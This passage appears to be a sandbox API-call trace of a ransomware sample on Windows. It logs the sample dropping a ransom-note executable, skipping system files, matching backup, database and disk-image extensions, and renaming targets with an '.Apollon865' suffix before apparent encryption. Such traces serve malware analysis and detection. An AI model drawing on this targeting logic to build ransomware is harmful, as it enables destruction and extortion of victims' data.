	[0075.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.762] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.762] CloseHandle (hObject=0x118) returned 1
	[0075.762] CloseHandle (hObject=0x15c) returned 1
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.762] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.762] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.763] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0075.763] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us"
	[0075.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aac78 | out: hHeap=0x580000) returned 1
	[0075.763] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0075.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us") returned 94
	[0075.763] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us"
	[0075.763] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.763] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.768] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x453b08f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x453b08f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.768] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.768] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.768] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.769] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x453b08f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x453b08f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.769] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.769] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.769] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.769] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.769] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453b08f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x453b08f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.769] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.769] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2=".") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="..") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="windows") returned -1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="bootmgr") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="temp") returned -1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="pagefile.sys") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="boot") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="ids.txt") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="ntuser.dat") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="perflogs") returned 1
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2="MSBuild") returned 1
	[0075.769] lstrlenW (lpString="Proofing.XML") returned 12
	[0075.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*") returned 96
	[0075.769] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Proofing.XML" | out: lpString1="Proofing.XML") returned="Proofing.XML"
	[0075.769] lstrlenW (lpString="Proofing.XML") returned 12
	[0075.769] lstrlenW (lpString="Apollon865") returned 10
	[0075.769] lstrcmpiW (lpString1="oofing.XML", lpString2="Apollon865") returned 1
	[0075.769] lstrlenW (lpString=".dll") returned 4
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2=".dll") returned 1
	[0075.769] lstrlenW (lpString=".lnk") returned 4
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2=".lnk") returned 1
	[0075.769] lstrlenW (lpString=".ini") returned 4
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2=".ini") returned 1
	[0075.769] lstrlenW (lpString=".sys") returned 4
	[0075.769] lstrcmpiW (lpString1="Proofing.XML", lpString2=".sys") returned 1
	[0075.769] lstrlenW (lpString="Proofing.XML") returned 12
	[0075.770] lstrlenW (lpString="bak") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.770] lstrlenW (lpString="ba_") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.770] lstrlenW (lpString="dbb") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.770] lstrlenW (lpString="vmdk") returned 4
	[0075.770] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.770] lstrlenW (lpString="rar") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.770] lstrlenW (lpString="zip") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.770] lstrlenW (lpString="tgz") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.770] lstrlenW (lpString="vbox") returned 4
	[0075.770] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.770] lstrlenW (lpString="vdi") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.770] lstrlenW (lpString="vhd") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.770] lstrlenW (lpString="vhdx") returned 4
	[0075.770] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.770] lstrlenW (lpString="avhd") returned 4
	[0075.770] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.770] lstrlenW (lpString="db") returned 2
	[0075.770] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.770] lstrlenW (lpString="db2") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.770] lstrlenW (lpString="db3") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.770] lstrlenW (lpString="dbf") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.770] lstrlenW (lpString="mdf") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.770] lstrlenW (lpString="mdb") returned 3
	[0075.770] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.771] lstrlenW (lpString="sql") returned 3
	[0075.771] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.771] lstrlenW (lpString="sqlite") returned 6
	[0075.771] lstrcmpiW (lpString1="ng.XML", lpString2="sqlite") returned -1
	[0075.771] lstrlenW (lpString="sqlite3") returned 7
	[0075.771] lstrcmpiW (lpString1="ing.XML", lpString2="sqlite3") returned -1
	[0075.771] lstrlenW (lpString="sqlitedb") returned 8
	[0075.771] lstrcmpiW (lpString1="fing.XML", lpString2="sqlitedb") returned -1
	[0075.771] lstrlenW (lpString="xml") returned 3
	[0075.771] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.771] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.Apollon865") returned 118
	[0075.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.773] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=811) returned 1
	[0075.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.774] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.774] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.775] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.775] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.775] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0075.777] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0075.778] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.779] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.779] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.779] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.779] CloseHandle (hObject=0x118) returned 1
	[0075.780] CloseHandle (hObject=0xc0) returned 1
	[0075.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.780] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.780] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.780] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0075.780] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.780] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.780] lstrlenW (lpString="Apollon865") returned 10
	[0075.780] lstrlenW (lpString=".dll") returned 4
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.780] lstrlenW (lpString=".lnk") returned 4
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.780] lstrlenW (lpString=".ini") returned 4
	[0075.780] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.780] lstrlenW (lpString=".sys") returned 4
	[0075.781] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.781] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.781] lstrlenW (lpString="bak") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.781] lstrlenW (lpString="ba_") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.781] lstrlenW (lpString="dbb") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.781] lstrlenW (lpString="vmdk") returned 4
	[0075.781] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.781] lstrlenW (lpString="rar") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.781] lstrlenW (lpString="zip") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.781] lstrlenW (lpString="tgz") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.781] lstrlenW (lpString="vbox") returned 4
	[0075.781] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.781] lstrlenW (lpString="vdi") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.781] lstrlenW (lpString="vhd") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.781] lstrlenW (lpString="vhdx") returned 4
	[0075.781] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.781] lstrlenW (lpString="avhd") returned 4
	[0075.781] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.781] lstrlenW (lpString="db") returned 2
	[0075.781] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.781] lstrlenW (lpString="db2") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.781] lstrlenW (lpString="db3") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.781] lstrlenW (lpString="dbf") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.781] lstrlenW (lpString="mdf") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.781] lstrlenW (lpString="mdb") returned 3
	[0075.781] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.782] lstrlenW (lpString="sql") returned 3
	[0075.782] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.782] lstrlenW (lpString="sqlite") returned 6
	[0075.782] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.782] lstrlenW (lpString="sqlite3") returned 7
	[0075.782] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.782] lstrlenW (lpString="sqlitedb") returned 8
	[0075.782] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.782] lstrlenW (lpString="xml") returned 3
	[0075.782] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.782] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.Apollon865") returned 115
	[0075.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.783] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=5884) returned 1
	[0075.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.783] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.784] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.784] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.784] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a00, lpName=0x0) returned 0x118
	[0075.786] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a00) returned 0x100000
	[0075.787] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.787] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.787] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.788] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.788] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.788] CloseHandle (hObject=0x118) returned 1
	[0075.788] CloseHandle (hObject=0xc0) returned 1
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.788] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.788] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.788] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd50
	[0075.788] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr"
	[0075.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1758 | out: hHeap=0x580000) returned 1
	[0075.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
